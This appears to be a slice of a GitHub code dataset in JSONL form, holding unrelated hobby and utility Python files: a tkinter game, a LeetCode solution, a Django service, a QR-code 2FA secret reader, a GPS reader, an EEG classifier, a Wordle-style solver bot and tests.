os.path.join(ImgDir,imgPath)\n imgDstPath = os.path.join(sceneFullName,imgName)\n #print(imgDstPath)\n shutil.copy(imgPath, imgDstPath)\n\n lblFile.close()\n","repo_name":"wanglaotou/CodeTools","sub_path":"code/PythonTools/copyRename.py","file_name":"copyRename.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"5404991695","text":"from tkinter import *\nfrom pygame import mixer\nimport random\nfrom tkinter import messagebox\n\n# CONSTANT --------------------------------------------------------------------------------------------------\n\n# GLOBAL VARIABLE --------------------------------------------------------------------------------------------------\nlistOfEnemy=[]\nenrmyToPop=[]\nstopGame=0\nlistOfShooting=[]\n# FUNCTION--------------------------------------------------------------------------------------------------\n\n\n\ndef moveLeft(event):\n global ourShip, stopGame\n if stopGame<=20000:\n x,y=canvas.coords(ourShip)\n if x>70:\n canvas.move(ourShip,-40,0)\n\ndef moveRight(event):\n global ourShip, stopGame\n if stopGame<=20000:\n x,y=canvas.coords(ourShip)\n if x<1500:\n canvas.move(ourShip,40,0)\n\ndef moveUp(event):\n global ourShip, stopGame\n if stopGame<=20000:\n x,y=canvas.coords(ourShip)\n if y>0:\n canvas.move(ourShip,0,-40)\n\ndef moveDown(event):\n global ourShip, stopGame\n if stopGame<=20000:\n x,y=canvas.coords(ourShip)\n if y<800:\n canvas.move(ourShip,0,40)\n\n\n\n\ndef shoootingIt():\n global stopGame\n if stopGame<=20000:\n canvas.move(shooting1,0,-40)\n canvas.move(shooting2,0,-40)\n y=canvas.coords(shooting1)[1]\n x=canvas.coords(shooting1)[0]\n stopShooting = y<0\n soundObj.play()\n if not stopShooting:\n canvas.after(50,lambda:shoootingIt())\n else :\n canvas.delete(shooting1)\n canvas.delete(shooting2)\n shooting()\n \n\ndef shooting():\n global ourShip,shooting1,shooting2, bullet,y1\n x1 = canvas.coords(ourShip)[0]\n y1 = canvas.coords(ourShip)[1]\n shooting1=canvas.create_image(x1-60,y1+35,image=bullet)\n shooting2=canvas.create_image(x1-2,y1+35,image=bullet)\n shoootingIt()\n\n\n\n\ndef createEnemy():\n global listOfEnemy,listOfShooting,enermy,stopGame\n x = random.randrange(0,1500)\n y = 0\n enermy=canvas.create_image(x,y,image=e_ship)\n listOfEnemy.append(enermy)\n if stopGame<=20000:\n canvas.after(1000, lambda:createEnemy())\n\n# def makeBullet():\n# global enermy,bullet\n# x=canvas.coords(enermy)[0]\n# y=canvas.coords(enermy)[1]\n# bullet=canvas.create_image(x,y,image=lazer)\n\n\n\ndef enermyMove():\n global bullet,stopGame\n enrmyToPop = []\n\n for i in range(len(listOfEnemy)):\n circle = listOfEnemy[i]\n y = canvas.coords(circle)[1]\n \n if y < 950:\n canvas.move(circle, 0, 10)\n else:\n enrmyToPop.append(i)\n \n # delete ennemie if any ennemy to delete\n removeEnnemies(enrmyToPop)\n stopGame+=50\n if stopGame<=20000:\n canvas.after(50, lambda:enermyMove())\n else:\n canvas.create_text(700,400,fill=\"red\",font=\"Times 90 italic bold\",text=\"Game Over\")\n\n canvas.delete(shooting1)\n canvas.delete(shooting2)\n\n\n\ndef removeEnnemies( ennemiesIndexes) :\n for enneyIndex in ennemiesIndexes:\n canvas.delete(enneyIndex)\n listOfEnemy.pop(enneyIndex)\n\n\n\n\n\n\n\n\n\n\n\n\n\n#our ship\n\nmixer.init(44100, -16,2,2048)\nroot=Tk()\nroot.geometry('1500x900')\nroot.resizable(False,False)\nroot.title('CRAZY PROJECT')\ncanvas=Canvas()\nbackground=PhotoImage(file='VC1/BG.png')\ncanvas.create_image(750,400,image=background)\nsoundObj = mixer.Sound('VC1/laser.wav')\n\n\nbullet=PhotoImage(file='VC1/bullet_resize.png')\nship=PhotoImage(file = \"VC1/spaceship.png\", name = \"mouse_pointer\",)\nourShip=canvas.create_image(750,750,image=ship,anchor=NE)\n\n\n\n#enermy\ne_ship=PhotoImage(file='VC1/enermy.png')\nlazer=PhotoImage(file='VC1/redLaser.png')\n# text=canvas.create_text(900,450,fill=\"white\",font=\"Times 40 italic bold\",text=\"Space to start game\")\n\n\n\n\n#action of the ship \nroot.bind('<a>',moveLeft)\nroot.bind('<d>',moveRight)\nroot.bind('<w>',moveUp)\nroot.bind('<s>',moveDown)\n# root.bind('<space>',startGame)\n\n\n\n\n\n\nshooting()\ncreateEnemy()\nenermyMove()\n\n\n\n\n\n\n#print on thhe tk canvas\ncanvas.pack(expand=True,fill='both')\nroot.mainloop() ","repo_name":"Lyhor-Ngorn/Python-VC1","sub_path":"Python VC1/VC1/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1640589612","text":"from typing import List\nfrom collections import deque\n\n\nclass Solution:\n def nearestExit(self, maze: List[List[str]], entrance: List[int]) -> int:\n rows = len(maze)\n cols = len(maze[0]) if rows else 0\n\n directions = [[-1, 0], [1, 0], [0, 1], [0, -1]]\n entrance_x, entrance_y = entrance\n\n queue = deque([[0, entrance_x, entrance_y]])\n seen = set()\n seen.add((entrance_x, entrance_y))\n\n def is_reached(r, c):\n if r == entrance_x and c == entrance_y:\n return False\n for dx, dy in directions:\n dr, dc = r + dx, c + dy\n if dr not in range(rows) or dc not in range(cols):\n return True\n return False\n\n while queue:\n dist, r, c = queue.popleft()\n\n if is_reached(r, c):\n return dist\n\n for dx, dy in directions:\n dr, dc = dx + r, dy + c\n\n if dr not in range(rows) or dc not in range(cols):\n continue\n\n if (dr, dc) not in seen and maze[dr][dc] == '.':\n queue.append([dist + 1, dr, dc])\n seen.add((dr, dc))\n\n return -1\n\n","repo_name":"amogchandrashekar/Leetcode","sub_path":"Medium/Nearest Exit from Entrance in Maze.py","file_name":"Nearest Exit from Entrance in Maze.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"3907826461","text":"from api.task.service import TaskService\nfrom rest_framework.response import Response\nfrom api.goal.models import Goal\nfrom api.task.models import Task\nfrom api.goal.serializers import GoalSerializer\nfrom rest_framework.status import HTTP_500_INTERNAL_SERVER_ERROR\nfrom djangoRestPattern import functions as fn\nfrom djangoRestPattern import variables as var\nfrom djangoRestPattern import errors as er\nfrom django.conf import settings\nfrom django.core.paginator import Paginator\n\n\nclass GoalService:\n def __init__(self, request):\n self.request = request\n\n def list(self, idObjective):\n page = int(fn.Http(\n self.request).get_query_param('page'))\n\n goals = Goal.objects.filter(\n objective__id=idObjective,\n isActive=True).order_by('done',\n 'dateGoal',\n 'goal',)\n\n paginator = Paginator(goals, 5, allow_empty_first_page=True)\n\n try:\n next = paginator.page(page).next_page_number()\n except:\n next = 0\n\n goalsDTO = list(map(lambda goal:\n GoalSerializer(goal).data,\n paginator.get_page(page).object_list))\n\n return Response({\n 'count': paginator.count,\n 'next': next,\n 'goals': goalsDTO\n })\n\n def create(self, idObjective):\n goal, dateGoal = fn.Http(\n self.request).get_properties([\n 'goal',\n 'dateGoal'\n ])\n\n return fn.Optional(idObjective) \\\n .is_null(var.ERRORS.EMPTY_FIELD) \\\n .alsoVerify(goal) \\\n .is_null(var.ERRORS.EMPTY_FIELD) \\\n .alsoVerify(dateGoal) \\\n .is_null(var.ERRORS.EMPTY_FIELD) \\\n .httpReponse(self.__create_goal(idObjective, goal, dateGoal))\n\n def get(self, idObjective, id):\n goal = Goal.objects.filter(\n objective_id=idObjective).get(pk=id, isActive=True)\n\n return fn.Optional(id) \\\n .is_null(var.ERRORS.EMPTY_FIELD) \\\n .alsoVerify(goal) \\\n .is_null(var.ERRORS.EMPTY_FIELD) \\\n .httpReponse(Response(data={\n 'goal': GoalSerializer(goal).data\n }))\n\n def update(self, idObjective, id):\n goal, dateGoal, description = fn.Http(\n self.request).get_properties([\n 'goal',\n 'dateGoal',\n 'description'\n ])\n\n return fn.Optional(idObjective) \\\n .is_null(var.ERRORS.EMPTY_FIELD) \\\n .alsoVerify(id)\\\n .is_null(var.ERRORS.EMPTY_FIELD) \\\n .alsoVerify(goal) \\\n .is_null(var.ERRORS.EMPTY_FIELD) \\\n .alsoVerify(dateGoal) \\\n .is_null(var.ERRORS.EMPTY_FIELD) \\\n .httpReponse(self.__update_goal(idObjective, id, goal, dateGoal, description))\n\n def done(self, idObjective, id):\n return fn.Optional(idObjective) \\\n .is_null(var.ERRORS.EMPTY_FIELD) \\\n .alsoVerify(id)\\\n .is_null(var.ERRORS.EMPTY_FIELD) \\\n .httpReponse(self.__done_goal(idObjective, id))\n\n def doneAll(self, goals):\n return list(map(lambda goal: self.__save_done_goal(goal), goals))\n\n def delete(self, idObjective, id):\n\n return fn.Optional(id)\\\n .is_null(var.ERRORS.EMPTY_FIELD) \\\n .httpReponse(self.__remove_goal(idObjective, id))\n\n def __create_goal(self, idObjective, goal, dateGoal):\n try:\n new_goal = Goal.objects.create(\n objective_id=idObjective,\n goal=goal,\n dateGoal=dateGoal)\n\n except Exception as e:\n print(e, idObjective)\n error = var.ERRORS.GOAL_CREATE\n\n return er.APIExceptionDetail().get(\n HTTP_500_INTERNAL_SERVER_ERROR,\n error['message'],\n error['code'],\n error['severity'],\n error['title']\n )\n\n new_goal.dateGoal = fn.Date(new_goal.dateGoal).parse()\n\n return Response(data={\n 'goal': GoalSerializer(new_goal).data\n })\n\n def __update_goal(self, idObjective, id, goal, dateGoal, description):\n try:\n goal_old = Goal.objects.filter(objective_id=idObjective).get(id=id)\n\n goal_old.goal = goal\n goal_old.dateGoal = dateGoal\n goal_old.description = description\n\n goal_old.save(\n update_fields=['goal', 'dateGoal', 'description'])\n except Exception as e:\n print(e, id)\n error = var.ERRORS.GOAL_UPDATE\n\n return er.APIExceptionDetail().get(\n HTTP_500_INTERNAL_SERVER_ERROR,\n error['message'],\n error['code'],\n error['severity'],\n error['title']\n )\n\n goal_old.dateGoal = fn.Date(goal_old.dateGoal).parse()\n\n return Response(data={\n 'goal': GoalSerializer(goal_old).data\n })\n\n def __done_goal(self, idObjective, id):\n try:\n goal_old = Goal.objects.filter(objective_id=idObjective).get(id=id)\n\n goal = self.__save_done_goal(goal_old)\n except Exception as e:\n print(e, id)\n error = var.ERRORS.GOAL_DONE\n\n return er.APIExceptionDetail().get(\n HTTP_500_INTERNAL_SERVER_ERROR,\n error['message'],\n error['code'],\n error['severity'],\n error['title']\n )\n\n goal.dateGoal = goal.dateGoal.strftime(\"%Y/%m/%d\")\n\n return Response(data={\n 'goal': GoalSerializer(goal).data\n })\n\n def __save_done_goal(self, goal):\n goal.done = True\n\n taskFilter = Task.objects.filter(goal_id=goal.id)\n\n if taskFilter:\n TaskService(self.request).doneAll(taskFilter)\n\n goal.save(\n update_fields=['done'])\n\n return goal\n\n def __remove_goal(self, idObjective, id):\n try:\n goal_old = Goal.objects.filter(objective_id=idObjective).get(id=id)\n\n goal_old.isActive = False\n\n goal_old.save(\n update_fields=['isActive'])\n except Exception as e:\n print(e, id)\n error = var.ERRORS.GOAL_UPDATE\n\n return er.APIExceptionDetail().get(\n HTTP_500_INTERNAL_SERVER_ERROR,\n error['message'],\n error['code'],\n error['severity'],\n error['title']\n )\n\n return Response()\n","repo_name":"FelipeGochi/ofy-1","sub_path":"app/api/goal/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":6662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70110471875","text":"from pyzbar import pyzbar\nfrom urllib.parse import urlparse, parse_qs\nimport urllib\nimport cv2\nimport pyautogui\nimport pyotp\nimport json\nimport sys\nfrom PySide2.QtWidgets import QApplication, QDialog, QLineEdit, QPushButton\n\nimage = pyautogui.screenshot()\nbarcodes = pyzbar.decode(image)\nnew_auths = False\nif barcodes:\n print(barcodes[0].data.decode(\"utf-8\"))\n o = urlparse(barcodes[0].data.decode(\"utf-8\"))\n if o.scheme == 'otpauth':\n new_auths = True\n print(f\"Label: {urllib.parse.unquote(o.path)[1:]}\")\n qs = parse_qs(o.query)\n print(f\"Secret: {qs['secret'][0]}\")\n if \"issuer\" in qs:\n issuer = qs['issuer']\n else:\n issuer = None\n \nwith open(\"2fa-secrets.json\") as f:\n auths = json.load(f)\nif new_auths:\n auths.append({'label': barcodes[0].data.decode(\"utf-8\"), 'secret': qs['secret'][0], 'issuer': issuer})\nwith open(\"2fa-secrets.json\", 'w') as f:\n json.dump(auths, f)\n\nclass AutoQR(QDialog):\n\n def __init__(self, parent=None):\n super(Form, self).__init__(parent)\n self.setWindowTitle(\"AutoQR\")\n for i in auths:\n totp = pyotp.TOTP(i[\"secret\"])\n \n\n\nif __name__ == '__main__':\n # Create the Qt Application\n app = QApplication(sys.argv)\n # Create and show the form\n form = Form()\n form.show()\n # Run the main Qt loop\n sys.exit(app.exec_())\n\n","repo_name":"frankye8998/AutoAuth","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17666681564","text":"\"\"\"\n{\n \"difficulty\": \"medium\",\n \"link\": \"https://leetcode.com/problems/combination-sum/description/\",\n \"category\": [\"DFS\"],\n \"tags\": [\"backtracking\"],\n \"questions\": []\n}\n\"\"\"\n\n\"\"\"\n思路:\n\t- 需要对candidates排序,然后每次选了一个数,之后只能选这个数以及它后面的数(不能回头,可以原地踏步)\n\"\"\"\n\ndef DFS(candidates, leftover, currSelection, lst):\n if leftover == 0:\n lst.append(currSelection)\n return\n \n for idx,candidate in enumerate(candidates):\n if candidate <= leftover:\n DFS(candidates[idx:], leftover-candidate, currSelection+[candidate], lst)\n\nclass Solution:\n def combinationSum(self, candidates, target):\n \"\"\"\n :type candidates: List[int]\n :type target: int\n :rtype: List[List[int]]\n \"\"\"\n lst = []\n candidates.sort()\n DFS(candidates, target, [], lst)\n return lst","repo_name":"DanqiChang/leetcode-notes","sub_path":"solutions/39.py","file_name":"39.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23714100090","text":"import serial\nimport serial.tools.list_ports\n\nclass GpsCapture:\n\n global gpsport\n\n def __init__(self):\n \"\"\"Constructor of the GpsCapture class\n \"\"\"\n self.running = False\n self.isConnected = self.get_port()[0]\n self.sentence_identifier = \"\"\n self.baudrate = 9600\n self.gpsSentence = \"\"\n self.g_time = \"\"\n self.hdop = \"\"\n self.latitude = \"\"\n self.latitude_direction = \"\"\n self.longitude = \"\"\n self.longitude_direction = \"\"\n self.quality = \"\"\n self.timestamp = \"\"\n self.quality = \"\"\n self.u_unit = \"\"\n self.undulation = \"\"\n self.altitude_unit = \"\"\n self.altitude = \"\"\n self.age = \"\"\n self.checksum = \"\"\n self.open_gps(self.get_port()[1], self.baudrate)\n\n def get_port(self):\n \"\"\" This function get the different ports of the laptop,\n and check if the gps is connected.\n \n Returns:\n bool -- True : Gps connected, False : Gps not connected\n str -- The port of the connected gps\n \"\"\"\n global gpsport\n \n myports = [tuple(p) for p in list(serial.tools.list_ports.comports())]\n\n for t in myports:\n if 'FT232R USB UART' in t:\n gpsport = t[0]\n self.isConnected = True\n return(True, gpsport)\n\n self.isConnected= False\n return (False, None)\n\n\n\n def open_gps(self, port, baudrate):\n \"\"\" This function open the Gps.\n \n Arguments:\n port {str} -- the specific port of the connection\n baudrate {integer} -- Baudrate of the connection\n \"\"\"\n if self.isConnected:\n try:\n self.ser = serial.Serial(port= port,baudrate=baudrate,parity=serial.PARITY_ODD,stopbits=serial.STOPBITS_TWO,bytesize=serial.SEVENBITS)\n self.running = True\n except:\n print(\"There was a Problem opening the GPS device\")\n self.running = False\n else:\n self.running = False \n \n def check_gps(self):\n \"\"\"This function check if the gps is running\n \n Returns:\n bool -- True: Gps Running, False : Gps not running\n \"\"\"\n return self.running\n\n def read(self):\n \"\"\"This function read he differents values of the gps.\n \"\"\"\n try:\n self.gpsSentence = self.ser.readline()\n stringSplit = str(self.gpsSentence).split(',')\n if stringSplit[0] == \"b\\'$GNGGA\":\n self.sentence_identifier = stringSplit[0]\n self.g_time = stringSplit[1]\n self.latitude = stringSplit[2]\n self.latitude_direction = stringSplit[3]\n self.longitude = stringSplit[4]\n self.longitude_direction = stringSplit[5]\n self.quality = stringSplit[6]\n self.hdop = stringSplit[7]\n self.altitude = stringSplit[8]\n self.altitude_unit = stringSplit[9]\n self.undulation = stringSplit[10] \n self.u_unit = stringSplit[11]\n self.age = stringSplit[12]\n self.checksum = stringSplit[13]\n self.timestamp = stringSplit[14]\n except:\n print(\"Cannot read the GPS\")\n self.running = False\n \n\n\n\n def stop(self):\n \"\"\"This function stops the Gps \n \"\"\"\n self.running = False\n print(\"Gps stopped\")","repo_name":"omarsomey/Digits4RailMaps","sub_path":"GpsCapture.py","file_name":"GpsCapture.py","file_ext":"py","file_size_in_byte":3701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33742775231","text":"from Synopsis.Processor import *\nimport omni\nimport os, os.path, tempfile\n\nclass Parser(Processor):\n\n preprocess = Parameter(True, 'whether or not to preprocess the input')\n cppflags = Parameter([], 'list of preprocessor flags such as -I or -D')\n primary_file_only = Parameter(True, 'should only primary file be processed')\n base_path = Parameter('', 'path prefix to strip off of the file names')\n \n def process(self, ir, **kwds):\n\n self.set_parameters(kwds)\n if not self.input: raise MissingArgument('input')\n self.ir = ir\n\n if self.preprocess:\n\n from Synopsis.Parsers import Cpp\n cpp = Cpp.Parser(base_path = self.base_path,\n language = 'IDL',\n flags = self.cppflags,\n emulate_compiler = None)\n\n for file in self.input:\n\n i_file = file\n if self.preprocess:\n\n if self.output:\n i_file = os.path.splitext(self.output)[0] + '.i'\n else:\n i_file = os.path.join(tempfile.gettempdir(),\n 'synopsis-%s.i'%os.getpid())\n self.ir = cpp.process(self.ir,\n cpp_output = i_file,\n input = [file],\n primary_file_only = self.primary_file_only,\n verbose = self.verbose,\n debug = self.debug)\n\n\n self.ir = omni.parse(self.ir, i_file,\n os.path.abspath(file),\n self.primary_file_only,\n os.path.abspath(self.base_path) + os.sep,\n self.verbose,\n self.debug)\n\n if self.preprocess: os.remove(i_file)\n\n return self.output_and_return_ir()\n\n","repo_name":"stefanseefeld/synopsis","sub_path":"Synopsis/Parsers/IDL/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13591877573","text":"from collections import Counter\nfrom typing import Tuple\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom keras import Sequential, layers\nfrom keras.optimizers import Adam\nfrom sklearn.metrics import f1_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.svm import SVC\n\n\nclass P300:\n \"\"\"\n P300 Signal Recognition\n \"\"\"\n\n def __init__(self) -> None:\n self.data = P300.data_split()\n self.net = P300.create_network()\n self.pos_char_map = P300.generate_map()\n self.fit_model()\n # self.generate_plot()\n self.test()\n\n @staticmethod\n def generate_map():\n \"\"\"\n Generate a map of (row, col) -> character\n \"\"\"\n pos_char_map = {}\n for i, c in enumerate(\"ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\"):\n pos_char_map[(i // 6 + 1, i % 6 + 7)] = c\n return pos_char_map\n\n @staticmethod\n def data_split(test_size: float = 0.05) -> Tuple[np.ndarray]:\n \"\"\"\n Load preprocessed data from file and split into \n `(X_train, X_val, y_train, t_test)` subsets.\n \"\"\"\n X_train = np.load(\"./P300/X_train.npy\")\n y_train = np.load(\"./P300/y_train.npy\")\n return train_test_split(X_train, y_train, test_size=test_size)\n\n @staticmethod\n def create_network():\n \"\"\"\n Create a model to process signal data\n \"\"\"\n net = Sequential()\n net.add(layers.Conv1D(20, 5))\n net.add(layers.BatchNormalization())\n net.add(layers.MaxPooling1D())\n net.add(layers.Conv1D(40, 3))\n net.add(layers.BatchNormalization())\n net.add(layers.MaxPooling1D())\n net.add(layers.Conv1D(50, 2))\n net.add(layers.BatchNormalization())\n net.add(layers.Flatten())\n net.add(layers.Dense(256))\n net.add(layers.Dense(2, activation=\"softmax\"))\n optim = Adam(0.00015)\n net.compile(optim,\n loss='categorical_crossentropy',\n metrics=['categorical_accuracy'])\n return net\n\n def fit_model(self):\n \"\"\"\n method which trains the model\n \"\"\"\n X, y = self.data[0], self.data[2]\n X_val, y_val = self.data[1], self.data[3]\n class_counts = Counter(np.argmax(y, axis=1))\n class_weights = {\n i: len(y) / class_counts[i]\n for i in range(len(class_counts))\n }\n self.history = self.net.fit(x=X,\n y=y,\n batch_size=64,\n epochs=50,\n class_weight=class_weights)\n self.svm = SVC(C=7.0, kernel='rbf')\n self.svm.fit(X.reshape(X.shape[0], -1), np.argmax(y, axis=1))\n y_pred = self.svm.predict(X_val.reshape(X_val.shape[0], -1))\n score = f1_score(np.argmax(y_val, axis=1), y_pred)\n print(\"Validation score:\", score)\n\n def generate_plot(self):\n \"\"\"\n Generate loss and categorical accuracy plot\n \"\"\"\n fig, ax1 = plt.subplots()\n ax2 = ax1.twinx()\n ax1.plot(self.history.history['loss'],\n color='red',\n marker='x',\n label='Loss')\n ax1.set_xlabel('Epochs')\n ax1.set_ylabel('Loss', color='red')\n ax1.tick_params(axis='y', colors='red')\n ax2.plot(self.history.history['categorical_accuracy'],\n color='blue',\n marker='x',\n label='Categorical Accuracy')\n ax2.set_ylabel('Categorical Accuracy', color='blue')\n ax2.tick_params(axis='y', colors='blue')\n fig.tight_layout()\n plt.savefig('./P300/figure.png')\n\n def test(self):\n \"\"\"\n test model performance on test cases\n \"\"\"\n X_test: np.ndarray = np.load(\"./P300/X_test.npy\")\n y_pred = self.svm.predict(X_test.reshape(X_test.shape[0], -1))\n row, group, ans = [], [], []\n for label in y_pred:\n row.append(label)\n if len(row) == 12:\n group.append(np.array(row))\n row = []\n if len(group) == 5:\n # print(np.array(group))\n output = np.sum(np.array(group), axis=0)\n print(output, end=' ')\n row_max = np.max(output[:6])\n col_max = np.max(output[6:])\n row_max_idx = np.where(output[:6] == row_max)[0] + 1\n col_max_idx = np.where(output[6:] == col_max)[0] + 7\n char_options = []\n for i in row_max_idx:\n for j in col_max_idx:\n char_options.append(self.pos_char_map[(i, j)])\n print(f\"-> {char_options}\")\n ans.append(char_options)\n group = []\n print()\n y_pred = self.net(X_test)\n row, group = [], []\n for label in y_pred:\n row.append(np.argmax(label.numpy()))\n if len(row) == 12:\n group.append(np.array(row))\n row = []\n if len(group) == 5:\n # print(np.array(group))\n output = np.sum(np.array(group), axis=0)\n print(output, end=' ')\n row_max = np.max(output[:6])\n col_max = np.max(output[6:])\n row_max_idx = np.where(output[:6] == row_max)[0] + 1\n col_max_idx = np.where(output[6:] == col_max)[0] + 7\n char_options = []\n for i in row_max_idx:\n for j in col_max_idx:\n char_options.append(self.pos_char_map[(i, j)])\n print(f\"-> {char_options}\")\n group = []\n\n\nP300()\n","repo_name":"RabbltMan/BrainScienceCoursework","sub_path":"P300/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10711274934","text":"from scipy.stats import entropy\nfrom collections import defaultdict\nimport itertools\nfrom tqdm import tqdm\nimport pickle\nimport os\nfrom time import perf_counter\n\nN_GUESS = 15\nALLOWED_GUESSES = \"valid-wordle-words.txt\"\nALLOWED_ANSWERS = \"wordle-answers-alphabetical.txt\"\n\n\n# Loads the valid words\ndef get_valid_words():\n words = []\n with open(ALLOWED_GUESSES) as f:\n for w in f.readlines():\n words.append(w.strip())\n return words\n\n\n# Loads the valid answers\ndef get_valid_answers():\n words = []\n with open(ALLOWED_ANSWERS) as f:\n for w in f.readlines():\n words.append(w.strip())\n return words\n\n\n# Counts number of times a letter appears in a word\ndef count_letters(word, letter):\n return len([x for x in word if x.lower() == letter.lower()])\n\n\nclass Bot:\n def __init__(self):\n # Loads the words into the Bot\n self.possible_words_perm = get_valid_answers()\n self.possible_words = self.possible_words_perm\n self.all_words = get_valid_words()\n print(\"words loaded...\")\n\n # Creates a variable for every single possible pattern that exists\n self.all_patterns = list(itertools.product([0, 1, 2], repeat=5))\n self.guess_word = \"\"\n\n # pattern_dict has every word saved and for each pattern stores the words that matches the word and pattern.\n self.pattern_dict = self.load_pickle()\n print(\"pickle loaded\")\n\n def get_next_word(self, guess, result):\n\n possible_words = set(self.possible_words)\n self.guess_word = guess\n words = self.pattern_dict[self.guess_word][result]\n self.possible_words = possible_words.intersection(words)\n entropies = self.calc_entropies()\n return max(entropies, key=entropies.get)\n\n \"\"\"\n Pattern_dict is a dictionary that stores every word \n and for every possible patterns stores an array of every words that the matches that pattern\n\n load_pickle is the function that retrieves the pickle from files and stores them into the pattern_dict\n if the pickle file does not exist it creates a new one \n - this can take a long time depending on the computers processing speed and therefore the need for pickling\n \"\"\"\n\n def load_pickle(self):\n time = perf_counter()\n if 'pattern_dict.p' in os.listdir('.'):\n print(\"pickleeee\")\n pattern_dict = pickle.load(open('pattern_dict.p', 'rb'))\n else:\n pattern_dict = self.dictionary_matrix(self.all_words)\n pickle.dump(pattern_dict, open('pattern_dict.p', 'wb+'))\n time = round(perf_counter() - time)\n print(\"Loading time: \", time//60, \"mins and \", time % 60, \"seconds.\")\n return pattern_dict\n\n # Matrix_maker is a the method that compares two words and returns a tuple of the result\n # matrix_maker(\"trace\",\"tares\") returns (2, 1, 1, 0, 1)\n def matrix_maker(self, word, guess):\n matrix = [0, 0, 0, 0, 0]\n good_letters = {}\n for letter in word:\n good_letters[letter] = count_letters(guess, letter)\n for i in range(0, 5):\n if word[i] == guess[i]:\n matrix[i] = 2\n good_letters[word[i]] -= 1\n for i in range(0, 5):\n if word[i] in guess and matrix[i] != 2:\n if word[i] in good_letters.keys() and good_letters[word[i]] > 0:\n matrix[i] = 1\n good_letters[word[i]] -= 1\n return tuple(matrix)\n\n # Dictionary matrix is what creates the pattern_dict by cycling through every word\n # and then creating a pattern for every word with the first\n def dictionary_matrix(self, dictionary):\n pattern_dict = defaultdict(lambda: defaultdict(set))\n for word in tqdm(dictionary):\n for word2 in dictionary:\n pattern = self.matrix_maker(word, word2)\n pattern_dict[word][pattern].add(word2)\n return dict(pattern_dict)\n\n # Calculating entropies by counting the number of matches for each pattern for a word\n # and then using the entropy formula to get a value for this\n def calc_entropies(self):\n entropies = {}\n for word in self.possible_words:\n count = []\n for pattern in self.all_patterns:\n matches = set(self.pattern_dict[word][pattern]).intersection(self.possible_words)\n count.append(len(matches))\n entropies[word] = entropy(count)\n return entropies\n\n # Change board resets the possible words and\n # then runs through the new results for each guess to reduce the number of final words\n def change_board(self, guesses, results):\n self.possible_words = self.possible_words_perm\n compound = zip(guesses, results)\n for guess, result in compound:\n word = self.get_next_word(guess, result)\n return word\n","repo_name":"jaivas8/Octordle-Bot","sub_path":"Bot.py","file_name":"Bot.py","file_ext":"py","file_size_in_byte":4895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32369713092","text":"# Dictionary: is a data type that allows you to store and retrieve key-value pairs. They use commas for separation.\n# Dictionaries are similar to lists and tuples in that they can hold multiple values, but unlike lists and tuples, \n# which use numeric indices to access elements, dictionaries use keys.\n\ndictionary = {\n 'name' : 'Nicole',\n 'lastname' : 'Ramos',\n 'age' : 22\n}\n\nprint(type(dictionary))\n\nprint(dictionary)\n\n# Access to an item in dictionary and modify it.\nprint(dictionary['name'])\nprint(dictionary['age'])\n\n# Adding items to the dictionary. Look at the following two ways you can do it:\ndictionary['nationality'] = \"honduran\"\ndictionary.update({'student':False, 'profession':'programmer'})\nprint(dictionary)\n\n# Updating items like the following:\ndictionary['age'] = 25\ndictionary.update({'student':True,'name':'Darcy'})\nprint(dictionary)","repo_name":"nickramen/python-basics","sub_path":"01 data-types/dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40738184730","text":"from http import HTTPStatus\nfrom uuid import uuid4\n\nimport pytest\n\npytestmark = pytest.mark.asyncio\n\n\n@pytest.mark.parametrize(\n 'request_params, expected_response_body',\n [\n (\n {'query': 'Ann'},\n [\n {\n 'uuid': '5fde96c3-ddc6-49fc-816c-efda8304eb20',\n 'full_name': 'Ann',\n 'films': [\n {\n 'uuid': 'b819ed53-ae49-47fb-b6e0-2cf2b40620e0',\n 'roles': ['actor']\n },\n {\n 'uuid': '1879541a-1c5c-40d8-8efd-cbb3f3ad7d0c',\n 'roles': ['actor', 'writer']\n },\n {\n 'uuid': '52673667-2427-40d4-a3bd-f81a9ea10f3f',\n 'roles': ['actor', 'writer', 'director']\n },\n ]\n }\n ]\n ),\n (\n {'query': 'Bob'},\n [\n {\n 'uuid': '18e16f7c-84b9-4b18-b2a2-dc6d65fc4e5a',\n 'full_name': 'Bob',\n 'films': []\n }\n ]\n ),\n ]\n)\nasync def test_persons_search_format(\n es_write_data, make_get_request,\n request_params, expected_response_body\n):\n ann = {'id': '5fde96c3-ddc6-49fc-816c-efda8304eb20', 'name': 'Ann'}\n await es_write_data('persons', [\n {'id': ann['id'], 'full_name': ann['name']},\n {'id': '18e16f7c-84b9-4b18-b2a2-dc6d65fc4e5a', 'full_name': 'Bob'}\n ])\n await es_write_data('movies', [\n {\n 'id': 'b819ed53-ae49-47fb-b6e0-2cf2b40620e0',\n 'title': 'Movie 1',\n 'actors': [ann], 'writers': [], 'directors': [],\n },\n {\n 'id': 